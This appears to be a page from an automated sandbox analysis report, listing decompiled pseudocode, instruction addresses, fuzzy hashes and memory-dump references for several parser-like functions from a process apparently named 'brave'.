0x7ff755e86306
0x7ff755e8630c
0x7ff755e86323
0x7ff755e86327
0x7ff755e8632f
0x7ff755e86332
0x7ff755e86338
0x7ff755e8633c
0x7ff755e86340
0x7ff755e8634e
0x7ff755e86350
0x7ff755e86356
0x7ff755e86369
0x7ff755e8636d
0x7ff755e86375
0x7ff755e86378
0x7ff755e86383
0x7ff755e86386
0x7ff755e8638d
0x7ff755e86393
0x7ff755e8639a
0x7ff755e8639e
0x7ff755e863b1
0x7ff755e863b6
0x7ff755e863c0
0x7ff755e863c6
0x7ff755e863dd
0x7ff755e863e1
0x7ff755e863e9
0x7ff755e863ec
0x7ff755e863f2
0x7ff755e863f6
0x7ff755e863ff
0x7ff755e86405
0x7ff755e8641c
0x7ff755e86420
0x7ff755e86428
0x7ff755e8642b
0x7ff755e86431
0x7ff755e86435
0x7ff755e8643e
0x7ff755e86444
0x7ff755e8645b
0x7ff755e8645f
0x7ff755e86467
0x7ff755e8646a
0x7ff755e86470
0x7ff755e86474
0x7ff755e86480
0x7ff755e86485
0x7ff755e86493
0x7ff755e86498
0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: f1911072c80b76115ef9c94903d4da69b44409036a35aa95ff02e775109f09a9
Instruction ID: 5b469e25c11f49a372d412331ff939de3787ed6070820ebab8595b1eab91afd0
Opcode Fuzzy Hash: f1911072c80b76115ef9c94903d4da69b44409036a35aa95ff02e775109f09a9
Instruction Fuzzy Hash: ED319D37A08B5581F720AF14F8913AAB7A0EB94B98F884131D6CC0B3A5DF7CD581C794

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E85CC8 Relevance: 1.3, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E85CC8(void* __edx, void* __rbx, void* __r8, long long _a40) {
				void* _t19;
				signed int _t20;
				signed int _t25;
				long long _t35;
				long long _t43;

				_t20 =  *(__rbx + 0x28);
				_t43 = (__edx - 0x61 << 5) + 0x56134fe0;
				if (_t20 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2696;
				_t35 = (_t20 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t35 + 4)) = 0;
				 *(__rbx + 0x28) = _t20 + 1;
				 *((long long*)(_t35 + 0x10)) = _t43;
				 *_t35 = 0x27;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) +  *((intOrPtr*)(_t43 + 8));
				 *((long long*)(__rbx + 0x18)) = __r8 + 1;
				_t19 = E00007FF77FF755E86EE0(_t35, __rbx);
				_a40 = _t35;
				if (_t35 == 0) goto 0x55e85c20;
				_t25 =  *(__rbx + 0x38);
				if (_t25 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t25 * 8)) = _t35;
				 *(__rbx + 0x38) = _t25 + 1;
				return _t19;
			}

0x7ff755e85cd2
0x7ff755e85cdd
0x7ff755e85ce3
0x7ff755e85cf7
0x7ff755e85cfb
0x7ff755e85d03
0x7ff755e85d06
0x7ff755e85d0d
0x7ff755e85d13
0x7ff755e85d16
0x7ff755e85d23
0x7ff755e85d28
0x7ff755e85d33
0x7ff755e85d39
0x7ff755e85d3f
0x7ff755e85d4f
0x7ff755e85d58
0x7ff755e85d65

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 481313779c530b80ad29adb7c36aba79e4ffeb0080f416c7aa4c906f5a1563bf
Instruction ID: 74b27d91fd026b90f3704cce91e5dedfc14d7954765ac801725be5bdeaf7ab48
Opcode Fuzzy Hash: 481313779c530b80ad29adb7c36aba79e4ffeb0080f416c7aa4c906f5a1563bf
Instruction Fuzzy Hash: AD318976A05B0482EB20DF18F881369B3B0FB94B99F984625C6CC0B3A4DF7DD184C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E81670 Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF755E8172F

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 47150c400661e288aa599803cb5707d173a492a52ae042cb663064bb588da808
Instruction ID: 46ca66519ab8d0051f31eabdefc83b7fa35ed6375a165945c23e6897c1cbb964
Opcode Fuzzy Hash: 47150c400661e288aa599803cb5707d173a492a52ae042cb663064bb588da808
Instruction Fuzzy Hash: 94212C1A91D7D146FB125738E9013B9EFA1AB96B48FCD5234DE8D0A742EF6DD044C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E863C0 Relevance: 1.3, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF755E863C0(void* __rbx, signed char* _a40) {
				signed int _t77;
				signed int _t81;
				signed int _t83;
				signed int _t85;
				signed int _t88;
				signed int _t91;
				void* _t113;
				intOrPtr* _t118;
				intOrPtr* _t121;
				signed char* _t124;
				intOrPtr* _t127;
				signed char* _t128;
				signed char* _t130;
				signed char* _t131;
				signed char* _t154;
				signed char* _t155;
				long long _t162;

				_t81 =  *(__rbx + 0x28);
				if (_t81 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2670;
				_t118 = (_t81 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t118 + 4)) = 0;
				 *(__rbx + 0x28) = _t81 + 1;
				 *_t118 = 0x27;
				 *((long long*)(_t118 + 0x10)) = 0x56135340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t83 =  *(__rbx + 0x28);
				if (_t83 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2715;
				_t121 = (_t83 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t121 + 4)) = 0;
				 *(__rbx + 0x28) = _t83 + 1;
				 *_t121 = 0x27;
				 *((long long*)(_t121 + 0x10)) = 0x56135400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t85 =  *(__rbx + 0x28);
				if (_t85 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26ef;
				_t124 = (_t85 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t124 + 4)) = 0;
				 *(__rbx + 0x28) = _t85 + 1;
				 *_t124 = 0x27;
				 *((long long*)(_t124 + 0x10)) = 0x561353a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF77FF755E85BC0();
				r9d = 0;
				E00007FF77FF755E84DD0();
				_a40 = _t124;
				_t88 =  *(__rbx + 0x28);
				if (_t88 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t127 = (_t88 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t127 + 4)) = 0;
				 *(__rbx + 0x28) = _t88 + 1;
				 *_t127 = 0x27;
				 *((long long*)(_t127 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t127, __rbx);
				_a40 = _t127;
				if (_t127 == 0) goto 0x55e85c20;
				if ( *_t127 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t128 = _t127 + 1;
				 *(__rbx + 0x18) = _t128;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t128;
				_t154 = _t128;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t154[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t154;
				_t130 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t162 = _a40;
				if (_t162 == 0) goto 0x55e85c20;
				_t91 =  *(__rbx + 0x38);
				if (_t91 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t91 * 8)) = _t162;
				 *(__rbx + 0x38) = _t91 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t130;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t162 + 3;
				E00007FF77FF755E87F20(_t130, __rbx);
				_t155 = _t130;
				if (_t130 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t155);
				_push(__rbx);
				_t131 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t131[1]);
				r10d =  *_t131 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t77 = (r8d >> 0x1f) + r8d >> 1;
				_t113 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t77 + _t77 * 2) * 8)))) - r10b;
				if (_t113 == 0) goto 0x55e86680;
				if (_t113 <= 0) goto 0x55e866c0;
				r8d = _t77;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e863c0
0x7ff755e863c6
0x7ff755e863dd
0x7ff755e863e1
0x7ff755e863e9
0x7ff755e863ec
0x7ff755e863f2
0x7ff755e863f6
0x7ff755e863ff
0x7ff755e86405
0x7ff755e8641c
0x7ff755e86420
0x7ff755e86428
0x7ff755e8642b
0x7ff755e86431
0x7ff755e86435
0x7ff755e8643e
0x7ff755e86444
0x7ff755e8645b
0x7ff755e8645f
0x7ff755e86467
0x7ff755e8646a
0x7ff755e86470
0x7ff755e86474
0x7ff755e86480
0x7ff755e86485
0x7ff755e86493
0x7ff755e86498
0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 62a82320fdceb24766c0b0c8cff22094254bc4afba2bc82755b66d49ed25b182
Instruction ID: 4e9a97c2dba97b4b9522d8ffbd0b06093146161b0b0eaf541b45524c86745fe1
Opcode Fuzzy Hash: 62a82320fdceb24766c0b0c8cff22094254bc4afba2bc82755b66d49ed25b182
Instruction Fuzzy Hash: 97311932605B0882E7209F04F89539AB7B0FB94B5DF584625D6CC0B765CFBDD584C754

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E864A2 Relevance: 1.3, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00007FF77FF755E864A2(void* __rbx, signed char* _a40) {
				signed int _t52;
				signed int _t56;
				signed int _t59;
				void* _t78;
				intOrPtr* _t83;
				signed char* _t84;
				signed char* _t86;
				signed char* _t87;
				signed char* _t105;
				signed char* _t106;
				long long _t112;

				_t56 =  *(__rbx + 0x28);
				if (_t56 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t83 = (_t56 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t83 + 4)) = 0;
				 *(__rbx + 0x28) = _t56 + 1;
				 *_t83 = 0x27;
				 *((long long*)(_t83 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t83, __rbx);
				_a40 = _t83;
				if (_t83 == 0) goto 0x55e85c20;
				if ( *_t83 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t84 = _t83 + 1;
				 *(__rbx + 0x18) = _t84;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t84;
				_t105 = _t84;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t105[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t105;
				_t86 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t112 = _a40;
				if (_t112 == 0) goto 0x55e85c20;
				_t59 =  *(__rbx + 0x38);
				if (_t59 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t59 * 8)) = _t112;
				 *(__rbx + 0x38) = _t59 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t86;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t112 + 3;
				E00007FF77FF755E87F20(_t86, __rbx);
				_t106 = _t86;
				if (_t86 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t106);
				_push(__rbx);
				_t87 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t87[1]);
				r10d =  *_t87 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t52 = (r8d >> 0x1f) + r8d >> 1;
				_t78 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t52 + _t52 * 2) * 8)))) - r10b;
				if (_t78 == 0) goto 0x55e86680;
				if (_t78 <= 0) goto 0x55e866c0;
				r8d = _t52;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: a086c596611ef4ea8cac5059dbacc38b62ed55accf5125814614d9dfe2806d9e
Instruction ID: 3782c74737958077f150124a56ea12af658fb61ffa740b237916fb9ed0f841c6
Opcode Fuzzy Hash: a086c596611ef4ea8cac5059dbacc38b62ed55accf5125814614d9dfe2806d9e
Instruction Fuzzy Hash: C1310732609B0582EB209F08F8953AAB7B0FB94B5DF584625D2CC0B7A5CFBDD584C794

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E862C7 Relevance: 1.3, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF77FF755E862C7(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t100;
				signed int _t111;
				signed int _t117;
				signed int _t119;
				signed int _t122;
				signed int _t124;
				signed int _t126;
				signed int _t129;
				signed int _t132;
				void* _t160;
				intOrPtr* _t165;
				intOrPtr* _t168;
				char* _t169;
				signed char* _t170;
				intOrPtr* _t173;
				intOrPtr* _t176;
				signed char* _t179;
				intOrPtr* _t182;
				signed char* _t183;
				signed char* _t185;
				signed char* _t186;
				intOrPtr* _t218;
				signed char* _t219;
				signed char* _t220;
				long long _t229;
				void* _t236;

				_t117 =  *(__rbx + 0x28);
				if (_t117 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26a9;
				_t165 = (_t117 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t165 + 4)) = 0;
				 *(__rbx + 0x28) = _t117 + 1;
				 *_t165 = 0x27;
				 *((long long*)(_t165 + 0x10)) = 0x561353c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t119 =  *(__rbx + 0x28);
				if (_t119 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2702;
				_t168 = (_t119 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t168 + 4)) = 0;
				 *(__rbx + 0x28) = _t119 + 1;
				 *_t168 = 0x27;
				 *((long long*)(_t168 + 0x10)) = 0x56135360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x55e85c22;
				 *_t168 =  *_t168 + __eax;
				_t100 =  *(__rbx + 0x28);
				if (_t100 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55e85c20;
				_t218 = (_t100 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t218 + 4)) = 0;
				 *(__rbx + 0x28) = _t100 + 1;
				 *_t218 = 0x42;
				 *((intOrPtr*)(_t218 + 0x10)) = E00007FF77FF755E84E90(_t168, __rbx, __rdx, __r8, _t236);
				_t169 =  *(__rbx + 0x18);
				if ( *_t169 != 0x5f) goto 0x55e85c20;
				_t170 = _t169 + 1;
				 *(__rbx + 0x18) = _t170;
				E00007FF77FF755E85BC0();
				E00007FF77FF755E84DD0();
				_a40 = _t170;
				_t122 =  *(__rbx + 0x28);
				if (_t122 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2670;
				_t173 = (_t122 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t173 + 4)) = 0;
				 *(__rbx + 0x28) = _t122 + 1;
				 *_t173 = 0x27;
				 *((long long*)(_t173 + 0x10)) = 0x56135340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t124 =  *(__rbx + 0x28);
				if (_t124 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2715;
				_t176 = (_t124 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t176 + 4)) = 0;
				 *(__rbx + 0x28) = _t124 + 1;
				 *_t176 = 0x27;
				 *((long long*)(_t176 + 0x10)) = 0x56135400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t126 =  *(__rbx + 0x28);
				if (_t126 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26ef;
				_t179 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t179 + 4)) = 0;
				 *(__rbx + 0x28) = _t126 + 1;
				 *_t179 = 0x27;
				 *((long long*)(_t179 + 0x10)) = 0x561353a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF77FF755E85BC0();
				r9d = 0;
				E00007FF77FF755E84DD0();
				_a40 = _t179;
				_t129 =  *(__rbx + 0x28);
				if (_t129 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t182 = (_t129 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t182 + 4)) = 0;
				 *(__rbx + 0x28) = _t129 + 1;
				 *_t182 = 0x27;
				 *((long long*)(_t182 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t182, __rbx);
				_a40 = _t182;
